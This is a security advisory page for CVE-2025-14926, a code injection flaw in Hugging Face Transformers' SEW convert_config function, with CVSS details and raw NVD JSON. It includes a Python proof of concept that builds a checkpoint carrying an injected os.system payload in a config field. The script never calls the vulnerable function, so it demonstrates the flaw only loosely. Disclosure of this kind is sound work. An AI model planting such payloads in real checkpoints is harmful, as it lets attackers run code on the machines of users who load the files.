Security Vulnerability Report
中文
CVE-2025-14926 CVSS 7.8 HIGH

CVE-2025-14926

Published: 2025-12-23 21:15:48
Last Modified: 2026-01-15 16:49:22

Description

Hugging Face Transformers SEW convert_config Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must convert a malicious checkpoint. The specific flaw exists within the convert_config function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28251.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:huggingface:transformers:4.57.0:*:*:*:*:*:*:* - VULNERABLE
Hugging Face Transformers < 修复版本
SEW (Sequence Encoder with eXciting attention) 模型转换功能

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14926 PoC - Malicious checkpoint for SEW convert_config # This PoC demonstrates the code injection vulnerability in Hugging Face Transformers import torch import os def create_malicious_checkpoint(): """ Create a malicious checkpoint that exploits the convert_config vulnerability. The malicious code will be executed when convert_config processes the config. """ malicious_code = "__import__('os').system('whoami > /tmp/pwned.txt')" # Create a malicious config dictionary # This simulates how an attacker might inject code through config values config = { '_name_or_path': malicious_code, 'model_type': 'sew', 'architectures': ['SEWModel'], 'hidden_size': 768, 'num_hidden_layers': 12, 'num_attention_heads': 12, 'intermediate_size': 3072 } # Save the malicious checkpoint checkpoint_path = '/tmp/malicious_sew_checkpoint.pt' torch.save({ 'state_dict': torch.randn(10, 10), 'config': config }, checkpoint_path) print(f'[+] Malicious checkpoint created: {checkpoint_path}') return checkpoint_path def exploit(): """ Simulate the exploitation process. In real scenario, victim would load this checkpoint using: from transformers import SEWModel, AutoConfig config = AutoConfig.from_pretrained('malicious_checkpoint_path') """ checkpoint_path = create_malicious_checkpoint() print('[+] Attacker can now distribute this malicious checkpoint') print('[+] When victim loads it via convert_config, arbitrary code executes') # Cleanup if os.path.exists(checkpoint_path): os.remove(checkpoint_path) if __name__ == '__main__': exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14926", "sourceIdentifier": "[email protected]", "published": "2025-12-23T21:15:47.857", "lastModified": "2026-01-15T16:49:21.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hugging Face Transformers SEW convert_config Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must convert a malicious checkpoint.\n\nThe specific flaw exists within the convert_config function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28251."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:huggingface:transformers:4.57.0:*:*:*:*:*:*:*", "matchCriteriaId": "5540780B-B22B-4304-86AB-62CD30684847"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1147/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}